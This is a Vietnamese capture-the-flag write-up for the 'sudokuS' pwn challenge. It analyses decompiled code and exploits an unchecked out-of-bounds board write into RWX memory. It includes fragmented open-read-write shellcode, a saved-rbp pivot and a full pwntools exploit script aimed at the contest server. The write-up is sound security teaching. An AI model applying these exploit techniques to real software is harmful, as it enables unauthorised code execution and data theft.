pwn - sudokuS

Play the sudoku and get flag. Flag path at /flag.

November 4, 2025 October 25, 2025 Medium
Author Author Hung Nguyen Tuong

Source Code

main()

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int choice; // [rsp+8h] [rbp-8h] BYREF
  int scan_ok; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  init_sec_comp();
  puts("=== CSCV2025 - SudoShell ===");
  usage();
  printf("> ");
  scan_ok = scanf("%d", &choice);
  if ( scan_ok <= 0 )
  {
    perror("scanf failed");
    exit(1);
  }
  switch ( choice )
  {
    case 1:
      start_game();
      break;
    case 2:
      exit(0);
    case 3:
      help();
      break;
  }
  return 0;
}

start_game()

__int64 start_game()
{
  unsigned __int8 num; // [rsp+Dh] [rbp-23h] BYREF
  unsigned __int8 col; // [rsp+Eh] [rbp-22h] BYREF
  unsigned __int8 row; // [rsp+Fh] [rbp-21h] BYREF
  char name[28]; // [rsp+10h] [rbp-20h] BYREF
  int len; // [rsp+2Ch] [rbp-4h]

  num = 0;
  printf("What's your name? ");
  len = read(0, name, 39);
  if ( len <= 0 )
  {
    perror("read failed");
    exit(1);
  }
  name[len] = 0;
  printf("Welcome %s\n", name);
  initBOARD();
  while ( 1 )
  {
    displayBOARD();
    if ( isComplete() )
    {
      puts("Congratulations!");
      return 0;
    }
    printf("> ");
    len = scanf("%hhu %hhu %hhu", &row, &col, &num);
    if ( len <= 0 )
    {
      perror("scanf failed");
      exit(1);
    }
    if ( !row && !col && !num )
      break;
    if ( canEdit(--row, --col) != 1 || isValid(row, col, num) != 1 )
      puts("Invalid input!");
    else
      BOARD[9 * row + col] = num;
  }
  puts("Bye!");
  return 0;
}
canEdit()
bool __fastcall canEdit(unsigned __int8 row, unsigned __int8 col)
{
  return ORIGINAL[9 * row + col] == 0;
}
isValid()
__int64 __fastcall isValid(unsigned __int8 row, unsigned __int8 col, unsigned __int8 num)
{
  signed int m; // [rsp+1Ch] [rbp-10h]
  signed int k; // [rsp+20h] [rbp-Ch]
  int j; // [rsp+24h] [rbp-8h]
  int i; // [rsp+28h] [rbp-4h]

  for ( i = 0; i <= 8; ++i )
  {
    if ( BOARD[9 * row + i] == num && i != col )
      return 0;
  }
  for ( j = 0; j <= 8; ++j )
  {
    if ( BOARD[9 * j + col] == num && j != row )
      return 0;
  }
  for ( k = 3 * (row / 3u); k <= (3 * (row / 3u) + 2); ++k )
  {
    for ( m = 3 * (col / 3u); m <= (3 * (col / 3u) + 2); ++m )
    {
      if ( BOARD[9 * k + m] == num && (k != row || m != col) )
        return 0;
    }
  }
  return 1;
}

help()

int help()
{
  puts("=== HOW TO PLAY ===");
  puts("Insert the number to fill the BOARD");
  puts("Syntax: row col num");
  return puts("Example: 1 2 5");
}

Mitigation

Binary không có PIE, có vùng RWX, chúng ta có thể nghĩ đến việc return về shellcode.

Tại hàm main(), chúng ta thấy có áp dụng seccomp, để giới hạn các syscall mà tiến trình có thể sử dụng.

Ở đây execveexecveat bị chặn, nên việc spawn shell là không khả thi. Nhớ rằng challenge có gợi ý flag nằm tại /flag, nên chúng ta sẽ sử dụng Open-Read-Write shellcode.

Solve

Việc giải bảng sudoku cũng không làm được gì, và thực ra cũng chẳng có lời giải cho bảng trong đó, nên chúng ta không cần quan tâm.

Do các đầu vào là row, col, num không được kiểm tra kỹ càng, chúng ta có thể thực hiện OOB write ra ngoài BOARD. Đây là vùng RWX nên chúng ta sẽ ghi shellcode tại đây.

Chúng ta có shellcode ORW như sau:

; Open
xor rax, rax
push rax
mov rsi, 0x67616c662f  ; "/flag"
push rsi
mov rdi, rsp
xor rsi, rsi
mov al, 2
syscall

; Read
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov dl, 0x50
syscall

; Write
mov al, 1
mov dil, 1
syscall

Nhưng vấn đề là hàm kiểm tra isValid(), khiến cho việc ghi liên tục một shellcode hoàn chỉnh là không khả thi, vì trong shellcode có thể có các byte trùng nhau tại cùng cột, hay cùng hàng, hay cùng ô vuông như trong bảng sudoku.

Vì vậy, chúng ta sẽ chia nhỏ shellcode này ra làm nhiều phần sao cho từng phần không chứa byte nào giống nhau, hoặc nếu có thì chúng không cùng hàng, cột hay ô vuông. Null byte thì có thể trùng vì không cần ghi cũng đã có null byte ở đó rồi.

┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - sudokus]
└─$ nasm -f elf64 shellcode.asm -o shellcode.o

┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - sudokus]
└─$ ld shellcode.o -o shellcode
ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000

┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - sudokus]
└─$ objdump -d shellcode -M intel

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <__bss_start-0x1000>:
  401000:	48 31 c0             	xor    rax,rax
  401003:	50                   	push   rax
  401004:	48 be 2f 66 6c 61 67 	movabs rsi,0x67616c662f
  40100b:	00 00 00 
  40100e:	56                   	push   rsi
  40100f:	48 89 e7             	mov    rdi,rsp
  401012:	48 31 f6             	xor    rsi,rsi
  401015:	b0 02                	mov    al,0x2
  401017:	0f 05                	syscall
  401019:	48 89 c7             	mov    rdi,rax
  40101c:	48 31 c0             	xor    rax,rax
  40101f:	48 89 e6             	mov    rsi,rsp
  401022:	b2 50                	mov    dl,0x50
  401024:	0f 05                	syscall
  401026:	b0 01                	mov    al,0x1
  401028:	40 b7 01             	mov    dil,0x1
  40102b:	0f 05                	syscall

Chúng ta chèn thêm các lệnh chuyển luồng thực thi ở cuối của mỗi phần shellcode để tiếp tục nhảy đến phần tiếp theo. Có thể dùng jmp, hay push rồi ret,…

Sau khi đã hoàn thiện ghi toàn bộ shellcode, chúng ta cần return về nó, nhưng input 39 bytes là không đủ để ghi đè đến return address sau đó return thẳng về shellcode. Ta chỉ ghi được đến saved rbp.

char name[28]; // [rsp+10h] [rbp-20h] BYREF
int len; // [rsp+2Ch] [rbp-4h]

num = 0;
printf("What's your name? ");
len = read(0, name, 39);

Nhưng chúng ta biết rằng, sau khi kết thúc start_game() chúng ta chạy leave; ret 1 lần, sau đó chuyển luồng thực thi đến main() và lại tiếp tục leave; ret lần 2. Vậy ta chỉ cần ghi đè saved rbp sao cho lần ret thứ 2 sẽ nhảy đến địa chỉ bắt đầu của shellcode là được.

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("sudoshell")

context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

gdbscript = '''
b *0x0000000000401C3D
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "pwn3.cscv.vn"
        port = 5555
        return remote(host, port)

p = conn()

def write(row, col, num):
    payload = f'{row + 1} {col + 1} {num}'.encode()
    sla(p, b'>', payload)
    if b'Invalid' in ru(p, b'+') and num != 0:
        print(f"invalid {row} {col} {num}")
        
board = 0x4040e0

def get_pos(addr):
    row = (addr - board) // 9
    col = (addr - board) % 9
    return row, col

def write_gadget(addr, gadget):
    print(f"write 0x{gadget.hex()} at {hex(addr)}")
    row, col = get_pos(addr)
    for b in gadget:
        write(row, col, int(b))
        print(f"row={row} col={col} num={hex(b)} at {hex(board + 9 * row + col)}")
        col += 1
    print("")

saved_rbp = 0x4041c0
sla(p, b'>', b'1')
payload = b'A' * 32 + p64(saved_rbp)[:-1] # Ghi đè saved rbp
sla(p, b'?', payload)

return_addr = p64(0x404200) # return address để nhảy đến shellcode
write_gadget(saved_rbp + 0x8, return_addr)

gadget_1 = '''
xor rax, rax
push rax
push 0x404260
ret
'''
write_gadget(0x404200, asm(gadget_1))

gadget_2 = '''
movabs rsi,0x67616c662f
push rsi
push 0x404290
ret
'''
write_gadget(0x404260, asm(gadget_2))

gadget_3 = '''
mov rdi, rsp
push 0x4042c0
ret
'''
write_gadget(0x404290, asm(gadget_3))

gadget_4 = '''
xor rsi, rsi
mov al, 0x2
syscall
push 0x404320
ret
'''
write_gadget(0x4042c0, asm(gadget_4))

gadget_5 = '''
mov rdi,rax
push 0x404350
ret
'''
write_gadget(0x404320, asm(gadget_5))

gadget_6 = '''
xor rax, rax
push 0x404380
ret
'''
write_gadget(0x404350, asm(gadget_6))

gadget_7 = '''
mov rsi, rsp
mov dl, 0x50
syscall
mov al, 0x1
push 0x4043e0
ret
'''
write_gadget(0x404380, asm(gadget_7))

gadget_8 = '''
mov dil, 0x1
syscall
'''
write_gadget(0x4043e0, asm(gadget_8))

sla(p, b'>', b'0 0 0') # break khỏi vòng while

ru(p, b'Bye!\n')
flag = ru(p, b'}').decode()
print(flag)